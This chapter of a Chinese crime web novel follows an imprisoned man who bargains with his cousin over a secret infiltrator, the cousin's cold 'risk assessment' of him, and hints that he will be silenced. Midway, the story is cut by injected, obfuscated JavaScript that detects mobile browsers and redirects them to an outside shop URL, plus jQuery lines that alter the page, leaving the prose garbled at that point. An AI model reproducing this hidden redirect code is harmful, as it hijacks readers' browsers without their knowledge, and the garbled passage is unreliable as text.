上午十点四十，监狱会见室。
玻璃隔板擦得发亮，话筒旧得发黄。登记单压在桌角，黑字一行一行排得很正，像人在这里说什么，最后都只会被归进某一栏。
郭凯先坐下。
西装外套没脱，袖口扣得整整齐齐。手边没有公文包，只有一张会见回执和一支黑笔。他没先拿话筒，也没朝门口看第二眼。
铁门开了。
郭河被带进来，鞋跟在地上拖出很轻的一道摩擦声。他比上次更瘦，脸色发灰，头发也短得更贴，可人一坐下，还是先把衣角压平，像这点体面压住了，他就还能谈。
两个人隔着玻璃，对视了一秒。
谁也没叫对方名字。
最后还是郭河先拿起话筒。
“今天不求你。”他说。
郭凯这才把话筒拿起来，声音很平：“那你来做什么？”
郭河盯着他，眼睛没躲。
“谈。”他说。
会见室里很静，静得连线里那点电流杂音都听得清。
郭凯靠进椅背：“你现在倒比前几次明白。”
郭河嘴角动了动，笑意很干：“不明白，早死了。”
他把压在掌心下的登记单往前推了一点，像真准备按条款往下说。
“张兰不是她资料上写的那个人。”郭河开口，“她进公司，不是端茶递水，是进去翻账。”
郭凯神色没变。
只用拇指轻轻蹭了一下笔帽。
郭河继续说：“她往财务里钻，你知道。我现在也知道。”
“所以？”郭凯问。
“所以这话值钱。”郭河说。
他说到这里，喉结缓慢滚了一下，声音压得更低。
“我签过字，我认。给客户画过饼，我也认。我不是干净人，这我比谁都清楚。”他盯着郭凯，“但不是所有脏水，都该只往我一个人身上倒。”
郭凯看着他，没有接这一层委屈。
只问：“你想换什么？”
郭河听见这句，眼神反而稳了一点。
他知道，自己总算把话送进了能谈价的地方。
会见室里冷气很足。
郭河把手里那张登记单又压平一点，像真在对一份清单。
“第一，我这边减。”他说，“不是翻案，是减。你们怎么往外做口径，我不管，我只要自己别在里面烂到底。”
“第二，别碰我妈。”
“第三，”他停了一下，目光直直钉住郭凯，“我要知道，到底是谁最后把我签进去的。不是签字栏上那个，是最后点头那个。”
郭凯终于低头，看了一眼那张会见单。
“你胃口不小。”他说。
“胃口不大，活不下来。”郭河回得很快。
郭凯把会见回执往手边扣了扣，语气一点没起伏：“你现在胆子倒大了。”
郭河笑了一下，笑得发硬：“胆子不是大，是活路只剩这个。”
他说着，身体微微前倾，话筒几乎贴到嘴边。
“张兰那层皮一撕，龙家谁都坐不住。你也一样。”他一字一顿，“你来见我，不就是怕我把这层皮先揭了？”
郭凯没否认，也没承认。
只是看着他，眼神平得像在算一笔已经超出预期的旧账。
“你现在最该关心的，”郭凯说，“不是我怕不怕，是你这点东西，够不够别人接你的价。”
郭河脸色沉了沉，指节却更紧。
“不够，你也不会来。”他说。
郭凯这次没再接话。
会见时间在墙上无声地走。
郭河盯着他，忽然又补了一句。
“我没说完。”他说，“她不只是进去翻郭河的账。她是奔着更上面去的。财务、别墅、旧照——她什么都在碰。”
郭凯听到“旧照”两个字，眼神终于很轻地沉了一层。
很薄。
薄得像一张纸被手指按出了褶。
郭河看见了。
他终于第一次真正有了点“我捏到了地方”的错觉。
“你现在是不是怕了？”他问。
郭凯看着他，半秒后，嘴角极淡地动了一下。
不是笑。
“你现在最不像的，”他说，“就是还把自己当成能讲旧情的人。”
郭河一滞。
郭凯已经把话筒放回去，站起了身。
“你要的三件事，我记下了。”他说，“至于值不值——”
他把会见回执抽回手里，低头整了一下袖口。
“看你后面还打算往上抬多少。”
说完，他转身就走。
没回头。
郭河坐在原地，话筒还贴在耳边，掌心却一点点发热。
他盯着玻璃那头空下来的座位，胸口那口气反而顶了上来。
他知道，这不是答应。
可只要郭凯肯来，肯听，肯把话带出去，他就不再只是一块等着被做进流程的烂肉。
他还能谈。
中午十一点二十，监狱会见走廊外。
走廊很长，墙白得发冷。鞋底踩过去，回声一下一下往后拖。郭凯没有立刻出大门，先站在拐角，把手里的会见回执折了一下，收进口袋。
然后才按亮手机。
屏幕白光映在他脸上，连眼下那点淡青都照了出来。
他打开备忘录，敲字很快。
已知张兰身份。
已知潜伏方向。
会抬价。
不再可控。
他写到这里，停了半秒。
又在下面补了一句——
活口价值高于旧情价值。
写完后，他看了一眼，直接另存。
文件名很短。
风险评估。
这四个字落下去，郭河就彻底不再是表弟，不再是出事的人，也不再是需要情绪判断的任何身份。
只剩风险。
郭凯把手机锁屏，抬头看了一眼走廊尽头那扇还没完全关严的铁门。
“你总算学会开价了。”他低声说。
“可惜，学得太晚。”
他转身往外走，脚步不快。到了停车场后才重新按亮手机，把那份评估转进另一只备用邮箱，又给龙兰发了条极短的消息。
看完删。
没有多一个字。
发完，他把聊天记录清掉，手机重新扣黑。
车门关上时很轻。
轻得像这不是刚从监狱出来，是刚从一场正常会后离开。
下午三点二十，龙腾金融二十五层，防火楼梯间。
门在背后轻轻合上，外面打印机的运作声和电话铃被切掉一层。楼梯间顶灯有一盏坏了，光只落一半，照不亮最下那几级台阶。
龙兰站在平台转角，手里拿着那只旧手机。
屏幕上是一份被转成图片的备忘录。
风险评估。
她先看标题，眼皮没有动。
往下看时，手指却一点点收紧。
已知张兰身份。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554606|204417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>已知潜伏方向。
会抬价。
不再可控。
下面那一行更短。
活口价值高于旧情价值。
龙兰盯着那一行，很久没滑下一页。
楼梯间里很安静。
安静得她能听见自己呼吸一点点压浅。
郭凯没有写一句“郭河还在乱说”。
也没有写一句“你最好小心”。
他只是把郭河写成了一份标准件。
一份该被重命名、该被评估、该决定先留还是先收的标准件。
龙兰忽然低低笑了一声。
很轻。
没有一点暖意。
她以前总以为，最冷的地方是郭河会不会反咬她。
现在看，不是。
最冷的地方，是当别人已经开始把他写进“风险评估”时，自己心里居然也第一时间能看懂这份表。
门外传来脚步。
龙兰立刻把手机按灭，侧身贴到墙边。等那阵脚步过去了，她才重新低头，把那份图片放大到最后一行，又看了一遍。
活口价值高于旧情价值。
她看完，没有删。
先是把图片导进隐藏文件夹。
随后退出，打开便签本，在最上面一行重新写了两个字。
郭河。
写完之后，她没像以前那样在后面跟项目号、尾号或者日期。
只在下面另起一行，写下两个字。
活口。
墨迹很正，很小。
像一个需要排顺序的事项。
写完以后，她才把手机锁屏，缓缓呼出一口气。脸上什么都没有，连刚才那点极短的刺都被压了回去。
她最后只给郭凯回了四个字。
我知道了。
发完即删。
然后推门出去，继续回到那排亮得发白的工位里，像刚才她只是下楼接了个普通电话。
夜里十点，监区。
灯暗了一档，白墙还是照得人睡不实。郭河靠着床板坐着，把那张已经被掌心汗压皱的会见登记单又抹平了一次。
今天这场会见，他已经在脑子里过了很多遍。
他说了什么。
郭凯停在哪一句。
对方什么时候眼神沉了一层。
哪一句最值钱。
哪一句下次还能继续往上抬。
他越想，胸口那点快塌完的体面反而越像被重新撑起一截。
他终于不只是等别人定价。
他也能给自己叫一次价了。
隔壁床翻了个身，木板轻轻响了一下。
郭河没回头。
只是伸手把鞋重新摆正，又用脚掌慢慢压了压鞋底。里面没别的，只有他后来又补上的几行缩写和一组还没来得及递出去的尾号。
这次会见之后，他不想再一点一点给了。
下次，他要把价抬得更高一点。
监区里有人去上厕所，脚步从他床边经过，停了极短一瞬。
郭河眼皮动了动，还是没看。
他现在已经学会了，越怕的时候，越不能先露。
可他没看见，暗处那双眼睛已经在他鞋上停了很久。
也没看见，自己刚刚因为“还能谈”而挺直的那点背，恰好让别人更容易确认——
这个人还没认命。
还想开口。
还想继续抬价。
而通常，最先该死的，就是这种终于学会把自己卖得像样一点的人。